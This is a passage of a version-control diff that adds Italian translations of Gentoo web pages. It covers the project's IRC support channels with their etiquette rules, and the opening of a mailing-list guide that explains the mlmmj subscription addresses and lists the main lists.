+link="http://www.freenode.net/">freenode</uri>:</b>.
+</p>
+
+<p>
+Tutti i nostri canali sono gestiti da volontari a beneficio degli utenti e allo
+stesso modo dei partecipanti, e riteniamo che i canali IRC siano aperti a tutti.
+Sentitevi liberi di entrarci e consideratela una risorsa per chiedere aiuto e
+porre domande su Gentoo Linux.
+</p>
+
+<p>
+Invitiamo pochi utenti a visitare i nostri canali di supporto su freenode:
+</p>
+
+<ul>
+  <li>
+    Comportatevi sensibilmente ed in modo maturo, rispettando il <uri
+    link="/proj/en/council/coc.xml">Codice di Condotta</uri>.
+  </li>
+  <li>
+    Quando entrate nel canale, leggete il topic che può contenere informazioni
+    importanti!
+  </li>
+  <li>
+    Bot o script che parlano in chat non sono i benvenuti in molti canali. Se
+    siete in dubbio contattateci.
+  </li>
+  <li>
+    Non usate <c>VERSIONI CTCP</c> o qualcosa di simile sugli utenti o canali
+    senza il loro consenso.
+  </li>
+  <li>
+    Usate un linguaggio corretto nel canale #gentoo, nessuna parolaccia è
+    permessa.
+  </li>
+  <li>
+    Tenere inoltre presente che in #gentoo non diamo supporto per gestori di
+    pacchetti alternativi, ma solamente a Portage!
+  </li>
+</ul>
+
+<p>
+Non viene fornito <b>NESSUN</b> supporto per distribuzioni derivate e basate su
+Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <th>Canali principali di supporto</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>
+    Problemi con l'installazione, o con Xorg? Provate ad entrare in #gentoo!
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>
+    Discussioni riguardanti lo sviluppo attivo di Gentoo Linux, richiede avere
+    voce (+v)
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-groupcontacts">#gentoo-groupcontacts
+    </uri>
+  </ti>
+  <th>
+    I Gentoo Group Contacts sono il mezzo per richiedere o riportare una
+    questione relativa ai canali o cloak Freenode, ecc.
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>
+    Questioni o reclami riguardo alla politica di #gentoo o ban devono essere
+    posti solamente qui
+  </th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canali di supporto per Architetture &amp; Piattaforme</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev</uri>
+  </ti>
+  <th>Canale Sviluppatori Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-powerpc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC (PPC e PPC64)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Sviluppo Gentoo Linux/x86</th>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th><b>Canali Generici e di Sviluppo</b></th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+    Il progetto <uri link="/proj/en/desktop/accessibility">Accessibilità</uri>
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+  <th>Sviluppo Gentoo Apache</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Eventi Gentoo BugDay, Correzione Bug Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri>
+  </ti>
+  <th>Gentoo Linux/Clustering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri></ti>
+  <th><uri link="/proj/en/council">Concilio di Gentoo</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri>
+  </ti>
+  <th>Informazioni in tempo reale sui commit CVS/SVN di Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>Pacchetti e discussioni relativi ai Database</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri>
+  </ti>
+  <th>Sviluppatori &amp; Utenti, tutto riguardo il desktop</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri>
+  </ti>
+  <th>Canale per la creazione di ebuild</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>Il progetto <uri link="/proj/en/devrel">Developer Relations</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Sviluppo documentazione Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri>
+  </ti>
+  <th>Embedded Gentoo Linux</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+ <th>Programmi e chat in tempo reale durante gli eventi pubblici Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Chat relativa al Gentoo Forum</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>Discussione giochi nativi per Gentoo Linux (no Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Progetto Gentoo GUIs</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri>
+  </ti>
+  <th>Hardened Gentoo Linux</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri>
+  </ti>
+  <th>Pacchetti Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>Chat relatativa a Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>Manutenzione pacchetti KDE</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+  <th>Sviluppo Gentoo Kernel</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gmn">#gentoo-gmn</uri></ti>
+  <th>Gentoo Monthly Newsletter</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Chat relativa ai Laptop</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Chat relativa a Gentoo Lisp</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Sviluppo multimediale in Gentoo </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri>
+  </ti>
+  <th>Chat amministrazione e mirror Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri>
+  </ti>
+  <th>Pacchetti relativi alle Mail</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Pacchetti per il monitoraggio della Rete</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Tutto riguardo a Gentoo perl</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>Discussione/Supporto Gentoo PHP</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri>
+  </ti>
+  <th>Sviluppo Gentoo Portage</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th>Il progetto <uri link="/proj/en/pr">Relazioni Pubbliche</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th>
+    Il progetto <uri link="/proj/en/gentoo-alt/prefix/">Gentoo Prefix</uri>
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Supporto/discussioni su Python in Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th><uri link="/proj/en/qa">Quality Assurance</uri> di Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.irc.gentoo.org/gentoo-qt">#gentoo-qt</uri></ti>
+  <th>Gentoo <uri link="/proj/en/desktop/qt/">Qt Project</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+  <th>Discussioni su Gentoo Release Engineering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby su Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri>
+  </ti>
+  <th>Progetti Scientifici Gentoo</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri>
+  </ti>
+  <th>Discussione sulla sicurezza di Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>Chat relativa al Server</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>Le nostre partecipazioni nel Google Summer of Code</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri></ti>
+  <th>
+    <uri link="/proj/en/sunrise">Progetto Sunrise - Overlay Utenti Gentoo</uri>
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>
+    Discussioni riguardanti la toolchain (GCC, libc, binutils, ecc.) di Gentoo
+  </th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th><uri link="/proj/en/qa/treecleaners">Gentoo Tree Cleaning Team</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th>I Fiduciari della <uri link="/foundation/en/">Fondazione Gentoo</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri>
+    </ti>
+  <th>Potete trovare e parlare con i rappresentanti degli utenti.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>Canale di supporto e sviluppo per macchine virtuali su Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Chat relativa a Gentoo VDR e DVB</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+  <th>Discussioni su Vim in Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Discussione sul Voice over IP</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+  <th>Chat relativa a Gentoo Virtual Private Server</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>Tutto riguardo web- e webapp (naturalmente riguardo a Gentoo)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-wiki">#gentoo-wiki</uri></ti>
+  <th>Discussioni sul <uri link="/proj/en/wiki">Gentoo Wiki</uri></th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canali di supporto regionali</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>
+    Supporto per gli utenti Gentoo indiani e per la localizzazione indiana</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>На русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>Regno Unito</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/it/lists.xml b/xml/htdocs/main/it/lists.xml
new file mode 100644
index 00000000..523ff703
--- /dev/null
+++ b/xml/htdocs/main/it/lists.xml
@@ -0,0 +1,780 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/lists.xml,v 1.18 2010/08/09 21:19:46 scen Exp $ -->
+
+<mainpage lang="it">
+<title>Le Mailing List di Gentoo</title>
+
+<author title="Autore">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="Autore">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="Redazione">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="Redazione">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Redazione">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="lucamarturana@gmail.com">Luca Marturana</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen">Davide Cendron</mail>
+</author>
+
+<abstract>
+Mailing list Gentoo pubbliche
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>5</version>
+<date>2010-07-26</date>
+
+<chapter>
+<title>Mailing List</title>
+<section>
+<body>
+
+<p>
+Il progetto Gentoo possiede molte mailing list pubbliche, le quali coprono una
+vasta varietà di argomenti inerenti a Gentoo. Le nostre mailing list utilizzano
+<uri link="http://mlmmj.mmj.dk">mlmmj</uri>, forniscono nelle email l'header
+<c>List-Id:</c> e nell'oggetto aggiungono il prefisso <c>[listname]</c> in modo
+da conformarsi ai moderni standard e convenzioni per le mailing list.
+</p>
+
+<p>
+È possibile interagire con <c>mlmmj</c> via email. Per inscriversi ad una lista
+inviare una email vuota a:
+</p>
+
+<p>
+<c>listname+subscribe@lists.gentoo.org</c>
+</p>
+
+<note>
+Sostituire 'listname' con il nome della lista alla quale si vuole essere
+iscritti, es.: <c>gentoo-user+subscribe@lists.gentoo.org</c> per iscriversi alla
+mailing list <c>gentoo-user</c>.
+</note>
+
+<p>
+Dopo essersi inscritti alla lista, è possibile postare inviando una email a:
+</p>
+
+<p>
+<c>listname@lists.gentoo.org</c>
+</p>
+
+<p>
+Per cancellare la propria inscrizione ad una lista, invece, inviare una email
+vuota a:
+</p>
+
+<p>
+<c>listname+unsubscribe@lists.gentoo.org</c>
+</p>
+
+<p>
+Tutte le nostre liste hanno pure una corrispondente lista-digest. Le
+liste-digest invieranno una singola email ogni due giorni, invece di inviare una
+email per ogni singolo post. Se si è iscritti alla variante digest e si
+desidera disiscriversi, bisogna effettuare la disiscrizione specificatamente
+per la variante digest. Usando l'email che si vuole (dis)iscrivere, inviare una
+email vuota ai seguenti indirizzi per effettuare o togliere l'inscrizione a
+queste mail-list, rispettivamente:
+</p>
+
+<p>
+<c>listname+subscribe-digest@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+Alcuni utenti preferiscono postare in una lista, ma non ricevere nessuna email
+da essa (per esempio chi le legge attraverso un metodo alternativo come gmane).
+Questi utenti possono inscriversi con l'opzione "nomail" per ogni lista:
+</p>
+
+<p>
+<c>listname+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+
+<p>
+È possibile ottenere maggiori informazioni riguardo alle potenzialità di mlmmj
+inviando una email vuota al seguente indirizzo:
+</p>
+
+<p>
+<c>listname+help@lists.gentoo.org</c><br/>
+</p>
+
+<impo>
+Se si vogliono recepire maggiori informazioni sul sistema di mailing listi di
+Gentoo, incluso i comportamenti accettabili e l'etiquette, leggere la breve <uri
+link="#faq">lista di FAQ riguardanti il sistema di mailing list</uri> di
+Gentoo,  alla fine di questo documento.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Gentoo Mailing List primarie</title>
+<body>
+
+<table>
+<tr>
+  <th>Nome lista</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>
+    Mailing list riguardante gli utenti, sia per il supporto che per le
+    discussioni.
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>
+    Lista degli annunci Gentoo (nuove release, aggiornamenti di sicurezza)
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Discussioni generali dei sviluppatori Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Lista specifica per gli annunci riguardanti lo sviluppo di Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>Per le discussioni di argomenti non-tecnici inerenti a Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>Per discutere dei problemi di sicurezza e delle soluzioni ad essi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Newsletter mensile Gentoo (Gentoo Monthly Newsletter)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>
+    Per contributi, suggerimenti, miglioramenti e traduzioni della
+    documentazione
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>
+    Iscriversi a questa lista se si vuole essere notificati delle modifiche
+    riguardanti la documentazione
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>
+    Iscriversi a questa lista se si vuole essere notificati dei cambiamenti nei
+    tree CVS e SVN. Questa è una lista in sola lettura ad alto traffico!
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Discussioni riguardanti gli sviluppatori Gentoo Linux/PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo Linux/Alpha</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo Linux/AMD64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>Discussioni riguardanti l'utilizzo di Gentoo sull'architettura HPPA</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>Discussioni riguardanti l'utilizzo di Gentoo sull'architettura MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo Linux/Sparc</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>Discussioni su Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>
+    Discussioni sul progetto <uri link="/proj/en/gentoo-alt/">Gentoo on
+    Alternate Platforms</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>
+    Annunci riguardanti le nuove uscite di gentoo-sources, vesa-tng, fbsplash
+    e discussioni in merito ad essi
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>
+    Discussioni riguardanti il powersaving, pcmcia e tutto ciò che riguarda i
+    laptop
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>Mailing list riguardante Gentoo sui desktop</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>
+    Discussioni riguardanti il potenziamento della qualità di Gentoo sui
+    desktop
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Discussioni riguardanti la versione sicura di Gentoo, ovvero hardened</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Discussioni inerenti lo sviluppo di Portage</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>Mailing list dedicata al catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>Discussioni riguardanti Gentoo in ambienti di produzione</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>Discussioni inerenti a problemi di amministrazione di Gentoo Linux</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>Discussioni riguardo a Gentoo in ambienti cluster</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>
+    Discussioni e supporto per gli utenti sulle problematiche inerenti allo
+    sviluppo degli ebuild
+  </ti>
+ </tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>
+    Discussioni riguardo alla configurazione e l'amministrazione web con i
+    strumenti web Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>
+    Discussioni riguardo gli utenti e gli sviluppatori di Gentoo Linux/embedded
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Mailing-list per la gestione del Gentoo release team</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>Mailing-list per tutte le pubbliche relazioni Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>Discussioni riguardanti il QA e il suo sviluppo in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>Mailing-list riguardante le relazioni tra i sviluppatori</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>Mailing.list riguardante il coordinamento degli utenti Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>Mailing-list del Concilio di Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>
+    Annunci e discussioni tra gli amministratori e i sviluppatori dei Gentoo
+    mirrors riguardanti le release e altro
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>Discussioni su perl in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>Discussioni su Java in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>
+    Discussioni sulle applicazioni scientifiche e la loro integrazione con
+    Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>Discussioni riguardo a GNUstep in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>
+    Discussioni riguardo al progetto <uri
+    link="/proj/en/desktop/accessibility/">Accessibilità in Gentoo</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>
+    Discussioni tra sviluppatori del Regno Unito e organizzazioni di eventi in
+    questo paese
